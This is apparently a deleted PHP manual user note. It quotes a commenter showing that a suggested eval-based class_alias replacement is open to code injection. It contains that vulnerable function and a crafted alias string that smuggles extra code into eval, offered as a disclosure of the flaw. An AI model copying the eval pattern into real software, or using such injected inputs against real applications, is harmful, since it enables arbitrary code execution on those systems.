note 102603 deleted from function.class-alias by danbrown

Note Submitter: Anonymous 

----

paul [dot] kotets [at] gmail [dot] com:

I've got a nice code injection attack for your "replacement" function for class_alias:

<?php
if (!function_exists('class_alias')) {
    function class_alias($original, $alias) {
        eval('abstract class ' . $alias . ' extends ' . $original . ' {}');
    }
}

$alias = 'some_class extends existingClass {function _print(){ print 1;}}; some_class::_print(); class my_class';
class_alias( 'existingClass', $alias ); 

// prints "1" - and thats safe!!! imagine what could be done if exploited.
?>